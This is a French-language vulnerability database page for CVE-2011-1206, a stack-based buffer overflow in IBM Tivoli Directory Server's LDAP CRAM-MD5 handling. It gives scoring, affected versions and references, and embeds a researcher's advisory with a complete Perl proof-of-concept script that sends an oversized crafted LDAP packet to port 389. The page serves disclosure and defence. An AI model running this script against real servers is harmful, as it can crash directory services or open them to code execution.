CVE-2011-1206 : Détail

CVE-2011-1206

Overflow
94.65%V3
Network
2011-04-21
08h00 +00:00
2017-08-16
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Stack-based buffer overflow in the server process in ibmslapd.exe in IBM Tivoli Directory Server (TDS) 5.2 before 5.2.0.5-TIV-ITDS-IF0010, 6.0 before 6.0.0.67 (aka 6.0.0.8-TIV-ITDS-IF0009), 6.1 before 6.1.0.40 (aka 6.1.0.5-TIV-ITDS-IF0003), 6.2 before 6.2.0.16 (aka 6.2.0.3-TIV-ITDS-IF0002), and 6.3 before 6.3.0.3 (aka 6.3.0.0-TIV-ITDS-IF0003) allows remote attackers to execute arbitrary code via a crafted LDAP request. NOTE: some of these details are obtained from third party information.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 17188

Date de publication : 2011-04-18 22h00 +00:00
Auteur : Francis Provencher
EDB Vérifié : Yes

Source: http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=26&Itemid=26 ##################################################################################### Application: IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability Platforms: Windows Exploitation: Remote code execution CVE Number: CVE-2011-1206 ZDI number: ZDI-11-136 {PRL}: 2011-06 Author: Francis Provencher (Protek Research Lab's) WebSite: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server, is an IBM implementation of the Lightweight Directory Access Protocol, and is part of the IBM Tivoli Identity & Access Management portfolio. IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant enterprise directory for corporate intranets and the Internet. Directory Server is built to serve as the identity data foundation for rapid development and deployment of Web applications and security and identity management initiatives by including strong management, replication and security features.Several authentication methods are available with IBM Tivoli Directory Server, beyond basic usernames and passwords. ITDS supports digital certificate-based authentication, the Simple Authentication and Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5), and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP infrastructure that provides a foundation for deploying comprehensive identity management applications and advanced software architectures. (http://en.wikipedia.org/wiki/IBM_Tivoli_Directory_Server) ##################################################################################### ============================ 2) Report Timeline ============================ 2011-02-17 - Vulnerability reported to vendor 2011-04-18 - Coordinated public release of advisory ##################################################################################### ==================== 3) Technical details ==================== This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of IBM Tivoli Directory Server. Authentication is not required to exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the allocation of a buffer for the packet data. A specially crafted packet can cause the ber_get_int function to allocate a buffer that is too small to fit the packet data, causing a subsequent stack-based buffer overflow. This can be leveraged by a remote attacker to execute arbitrary code under the context of the SYSTEM user. ##################################################################################### =========== 4) POC =========== #!/usr/bin/perl use strict; use warnings; use Getopt::Std; use IO::Socket::INET; $SIG{INT} = \&abort; my $host = '192.168.100.24'; my $port = 389; my $proto = 'tcp'; my $sockType = SOCK_STREAM; my $timeout = 1; my %opt; my $opt_string = 'hH:P:t:'; getopts( "$opt_string", \%opt ); if (defined $opt{h}) { usage() } $host = $opt{H} ? $opt{H} : $host; $port = $opt{P} ? $opt{P} : $port; $timeout = $opt{t} ? $opt{t} : $timeout; my @commands = ( {Command => 'Send', Data => "\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x00"}, {Command => 'Receive'}, {Command => 'Send', Data => "\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3\x82\x01\x31\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\x64\x30\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63"}, {Command => 'Receive'}, ); my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => $port, Proto => $proto, Type => $sockType, Timeout => $timeout, ) or die "socket error: $!\n\n"; print "connected to: $host:$port\n"; $sock->autoflush(1); binmode $sock; foreach my $command (@commands) { if ($command->{'Command'} eq 'Receive') { my $buf = receive($sock, $timeout); if (length $buf) { print "received: [$buf]\n"; } } elsif ($command->{'Command'} eq 'Send') { print "sending: [".$command->{'Data'}."]\n"; send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n"; } } close ($sock); sub receive { my $sock = shift; my $timeout = shift; my $tmpbuf; my $buf = ""; while(1) { eval { local $SIG{ALRM} = sub { die "timeout\n" }; alarm $timeout; my $ret = read $sock, $tmpbuf, 1; if ( !defined $ret or $ret == 0 ) { die "timeout\n"; } alarm 0; $buf .= $tmpbuf; }; if ($@) { if($@ eq "timeout\n") { last; } else { die "receive aborted\n"; } } } return $buf; } sub abort { print "...\n"; if ($sock) { close $sock; } die "...\n"; } sub usage

Products Mentioned

Configuraton 0

Ibm>>Tivoli_directory_server >> Version 5.2.0

Ibm>>Tivoli_directory_server >> Version 5.2.0.4

    Configuraton 0

    Ibm>>Tivoli_directory_server >> Version 6.0

    Ibm>>Tivoli_directory_server >> Version 6.0.0.0

      Ibm>>Tivoli_directory_server >> Version 6.0.0.1

        Ibm>>Tivoli_directory_server >> Version 6.0.0.7

        Ibm>>Tivoli_directory_server >> Version 6.0.0.8

        Ibm>>Tivoli_directory_server >> Version 6.0.0.14

          Ibm>>Tivoli_directory_server >> Version 6.0.0.19

            Ibm>>Tivoli_directory_server >> Version 6.0.0.33

              Ibm>>Tivoli_directory_server >> Version 6.0.0.41

                Ibm>>Tivoli_directory_server >> Version 6.0.0.45

                  Ibm>>Tivoli_directory_server >> Version 6.0.0.52

                    Ibm>>Tivoli_directory_server >> Version 6.0.0.53

                      Ibm>>Tivoli_directory_server >> Version 6.0.0.54

                        Ibm>>Tivoli_directory_server >> Version 6.0.0.55

                          Ibm>>Tivoli_directory_server >> Version 6.0.0.56

                            Ibm>>Tivoli_directory_server >> Version 6.0.0.57

                              Ibm>>Tivoli_directory_server >> Version 6.0.0.58

                                Ibm>>Tivoli_directory_server >> Version 6.0.0.59

                                  Ibm>>Tivoli_directory_server >> Version 6.0.0.60

                                    Ibm>>Tivoli_directory_server >> Version 6.0.0.61

                                      Ibm>>Tivoli_directory_server >> Version 6.0.0.62

                                        Ibm>>Tivoli_directory_server >> Version 6.0.0.63

                                          Ibm>>Tivoli_directory_server >> Version 6.0.0.64

                                            Ibm>>Tivoli_directory_server >> Version 6.0.0.65

                                              Ibm>>Tivoli_directory_server >> Version 6.0.0.66

                                                Configuraton 0

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.0

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.1

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.2

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.3

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.4

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.5

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.6

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.7

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.8

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.9

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.10

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.11

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.12

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.13

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.14

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.15

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.17

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.18

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.19

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.20

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.21

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.22

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.23

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.24

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.25

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.26

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.27

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.28

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.29

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.30

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.31

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.32

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.33

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.34

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.35

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.36

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.37

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.38

                                                Ibm>>Tivoli_directory_server >> Version 6.1.0.39

                                                Configuraton 0

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.0

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.1

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.2

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.3

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.4

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.5

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.6

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.7

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.8

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.10

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.11

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.12

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.13

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.14

                                                Ibm>>Tivoli_directory_server >> Version 6.2.0.15

                                                Configuraton 0

                                                Ibm>>Tivoli_directory_server >> Version 6.3.0.0

                                                Ibm>>Tivoli_directory_server >> Version 6.3.0.1

                                                Ibm>>Tivoli_directory_server >> Version 6.3.0.2

                                                Références

                                                http://secunia.com/advisories/44184
                                                Tags : third-party-advisory, x_refsource_SECUNIA
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14013
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14045
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14010
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://securitytracker.com/id?1025358
                                                Tags : vdb-entry, x_refsource_SECTRACK
                                                http://securityreason.com/securityalert/8213
                                                Tags : third-party-advisory, x_refsource_SREASON
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14046
                                                Tags : vendor-advisory, x_refsource_AIXAPAR
                                                http://www.ibm.com/support/docview.wss?uid=swg1IO14009
                                                Tags : vendor-advisory, x_refsource_AIXAPAR